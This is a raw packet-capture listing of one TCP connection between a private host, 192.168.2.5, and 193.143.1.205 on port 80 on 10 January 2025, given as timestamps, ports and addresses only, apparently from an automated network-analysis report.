Jan 10, 2025 18:14:45.231690884 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231717110 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231729984 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231741905 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231755018 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231755972 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231774092 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231781006 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231787920 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231815100 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231858969 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231870890 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231883049 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231899023 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231918097 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.263767958 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263797998 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263811111 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263827085 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263838053 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263849020 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263861895 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263875008 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263936043 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263936043 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.263951063 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263971090 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.263981104 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.263993979 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264020920 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264034986 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264060974 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264061928 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264075041 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264105082 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264178991 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264199972 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264211893 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264214993 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264225960 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264245033 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264324903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264337063 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264348030 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264360905 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264385939 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264549017 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264560938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264575005 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264585018 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264597893 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264601946 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264611006 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264624119 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264626980 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264647961 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264772892 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264791012 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264801979 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264810085 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264813900 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264827967 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264834881 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264858007 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.264986038 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.264997959 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265008926 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265036106 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265044928 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265049934 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265063047 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265065908 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265075922 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265089035 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265103102 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265119076 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265127897 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265130997 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265146017 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265157938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265172005 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265173912 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265187979 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265597105 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265609980 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265624046 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265636921 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265641928 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265654087 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.265657902 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.265698910 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269048929 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269078016 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269090891 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269109964 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269117117 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269124031 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269139051 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269150019 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269150972 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269164085 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269176960 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269191027 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269191980 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269208908 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269224882 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269242048 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269253969 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269265890 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269278049 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269284010 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269290924 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269305944 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269309044 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269331932 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269433975 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269444942 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269464016 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269478083 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269478083 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269494057 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269506931 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269514084 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269540071 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269593000 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269613028 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269623995 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269634962 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269643068 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269649029 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269661903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269668102 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.269675016 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.269701958 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270035982 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270046949 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270059109 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270080090 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270081997 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270093918 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270095110 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270108938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270122051 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270143032 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270164967 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270179987 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270193100 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270204067 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270216942 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270226955 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270227909 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270250082 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270256042 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270262003 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270272970 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270279884 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.270287991 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.270327091 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320369959 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320408106 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320422888 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320436001 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320451021 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320449114 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320466042 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320481062 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320482016 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320493937 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320519924 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320532084 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320533037 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320547104 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320554972 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320569038 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320605993 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320620060 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320632935 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320641994 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320647001 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320666075 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320669889 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320684910 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320697069 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320709944 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320712090 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320724010 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.320727110 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320741892 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320751905 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.320777893 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.352720976 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.352792025 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.352834940 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.352840900 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.352891922 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.352931976 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.352972984 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353022099 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353077888 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353086948 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353128910 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353167057 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353180885 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353233099 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353269100 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353285074 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353334904 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353368998 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353370905 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353420019 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353456974 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353461027 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353507042 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353543043 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353545904 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353605032 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353647947 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353656054 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353687048 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353723049 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353735924 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353769064 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353854895 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353868008 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353890896 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353924036 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353936911 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.353957891 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353991032 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.353991985 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354026079 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354058981 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354062080 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354093075 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354125977 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354135990 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354161978 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354193926 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354202986 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354228973 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354260921 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354270935 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354299068 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354332924 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354337931 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354391098 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354419947 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354432106 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354475021 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354515076 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354527950 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354579926 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354614019 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354621887 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354649067 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354682922 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354687929 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354732037 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354772091 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354784966 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354819059 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354857922 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354862928 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354914904 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.354950905 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.354964972 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355003119 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355041027 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355056047 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355086088 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355124950 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355135918 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355170012 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355201960 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355211020 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355237007 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355272055 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355279922 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355307102 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355369091 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355387926 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355403900 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355436087 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355468988 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355468988 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355503082 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355509043 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355540991 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355575085 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355583906 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355611086 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355643034 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355649948 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355676889 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355710983 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355717897 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355747938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355781078 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355783939 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355815887 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355846882 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355850935 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355880976 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355912924 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355935097 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.355947971 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355981112 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.355982065 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356014013 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356045961 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356048107 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356080055 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356115103 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356120110 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356147051 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356178999 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356185913 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356215000 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356247902 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356251001 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356283903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356317997 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356318951 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356359005 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356388092 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356398106 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356422901 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356458902 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.356462002 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356491089 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.356524944 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.361465931 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.361540079 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.361586094 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.385145903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385174990 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385189056 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385201931 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385217905 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385222912 CET	49773	80	192.168.2.5	193.143.1.205
